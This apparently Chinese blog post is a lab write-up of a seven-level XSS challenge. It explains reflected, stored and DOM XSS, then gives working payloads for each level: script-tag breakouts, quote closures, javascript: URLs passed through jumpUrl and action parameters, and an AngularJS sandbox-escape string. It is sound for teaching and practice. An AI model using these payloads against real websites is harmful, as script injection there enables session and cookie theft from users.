首页 > 其他分享 >[第二章 web进阶]XSS闯关-1

[第二章 web进阶]XSS闯关-1

时间:2022-09-06 13:33:47浏览次数:75  
标签:web 进阶 XSS alert jumpUrl time var payload

定义:跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限、会话和cookie等内容。

分类:

反射型:反射性XSS又称为非持久性XSS,主要通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户,诱导用户点击。

存储型性:存储型XSS又称为持久型XSS,主要是论坛、博客和留言板等地方,将恶意代码保留到服务端。

DOM型:DOM全称Document Objeect Model,DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。

1、第一关不存在什么过滤,直接输入弹窗payload:<sCript>alert(1)</sCript>,结果如下:

2、输入弹窗payload:<sCript>alert(1)</sCript>,并没有弹窗,应该是被过滤了,查看下源代码信息,发现escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换,因此这里只能自己构造闭合,payload:';alert(1);',结果如下:

3、这一关对'进行了转义,因此无法直接在原来的<script>标签中进行闭合,但是我们可以写一个新的<script>标签,payload:</sCript><sCript>alert(1)</sCript>,后来发现payload:'';alert(1);'也可以,应该是只对输入的进行转义了第一个’,结果如下:

4、直接查看源代码信息,发现可以传递一个jumpUrl参数,然后跳转到jumpUrl参数,代码信息如下:

 <script type="text/javascript">
    	var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

getQueryVariable函数就是获取参数,返回传递的参数值,例如:jumpUrl=1,则返回的就是1,因此我么构造payload:?jumpUrl=javascript:alert('1'),然后等待刷新,成功到达下一关,结果如下:

5、直接查看源代码信息,如下:

<script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

根据代码信息可知我们需要传递autosubmit参数,使参数可以正常进行,传递action参数进行跳转,因此构造payload:?autosubmit=1&action=javascript:alert('1'),结果如下:

6、这一关和前面的不太一样,前面的基本都是形成闭合或简单的传递参数进行函数绕过,这里使用的是Angular 1.2-1.5之间版本(有说是1.4-1.5之间)沙箱逃漏洞,首先还是查看源代码信息,发现比前几关多了一个Angular信息,如下:

那就测试下看是不是xss模板注入漏洞,payload:{{2*2}},返回结果为4,证明存在xss模板注入漏洞,结果如下:

点击Angular连接查看是一堆代码,但是给出了版本号:

在网上查找下此版本的漏洞利用方式,payload:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}},结果如下:

7、进入第7关直接获得flag值,结果如下:

 

标签:web,进阶,XSS,alert,jumpUrl,time,var,payload
From: https://www.cnblogs.com/upfine/p/16657800.html

相关文章

  • webgl(three.js)实现室内三维定位,3D定位,3D楼宇bim、实时定位三维可视化解决方案——
    序:还是要抽出时间看书的,迷上了豆豆的作品,最近在看《天幕红尘》,书中主人公的人生价值观以及修为都是让我惊为叹止。很想成为那样的人,但是再看看自己每天干的事,与时间的......
  • 干货 | 录制你的第一个web 自动化测试用例
    ⬇️点击“下方链接”,提升测试核心竞争力!>>更多技术文章分享和免费资料领取Web应用程序的验收测试常常涉及一些手工任务,例如打开一个浏览器,并执行一个测试用例中所描述的......
  • vue2进阶vue3环境搭建
    一、cli升级sudocnpminstall-g@vue/cli二、查看版本vue--version 目前最新为 @vue/cli5.0.8 vue/cli要4.0以上的版本才有创建vue3的模版 三、升级node......
  • WebAssembly Development All In One
    WebAssemblyDevelopmentAllInOneWebAssembly1.0hasshippedin4majorbrowserengines.https://webassembly.orgDeveloper'sGuidehttps://webassembly.org/......
  • Javaweb-smbms项目搭建
    smbms创建maven项目选择webapp创建配置文件,将web.xml改为4.0版本<?xmlversion="1.0"encoding="UTF-8"?><web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"......
  • webpack基础_2基本配置
    基本配置在开始使用Webpack之前,我们需要对Webpack的配置有一定的认识。5大核心概念entry(入口)指示Webpack从哪个文件开始打包。output(输出)指示Webpack打......
  • Web自动化价值与体系
    比较功能测试和UI自动化测试功能测试 UI自动化测试对比相同点:两者的过程都是一样的,都是在系统页面做点击输入等操作,并拿到实际结果与预期结果进行对比不同点......
  • 彩虹女神跃长空,Go语言进阶之Go语言高性能Web框架Iris项目实战-项目结构优化EP05
    前文再续,上一回我们完成了用户管理模块的CURD(增删改查)功能,功能层面,无甚大观,但有一个结构性的缺陷显而易见,那就是项目结构过度耦合,项目的耦合性(Coupling),也叫耦合度,进而......
  • JAVA进阶--日志框架、阶段项目实战--2022年9月5日
    第一节 日志框架1、什么是日志用来记录程序运行过程中的信息,并且可以进行永久存储  2、输出语句存在哪些问题,日志结束应该具备哪些特点......
  • 2022-09-03 第二小组 张晟源(JAVAWebMVC)
    JAVAWeb一,MVC架构是一种软件架构模式,把整个软件分为三层:Model,view,controllerModel:模型---获取数据,并处理,返回给controller  entity:数据库实体类User---user表 ......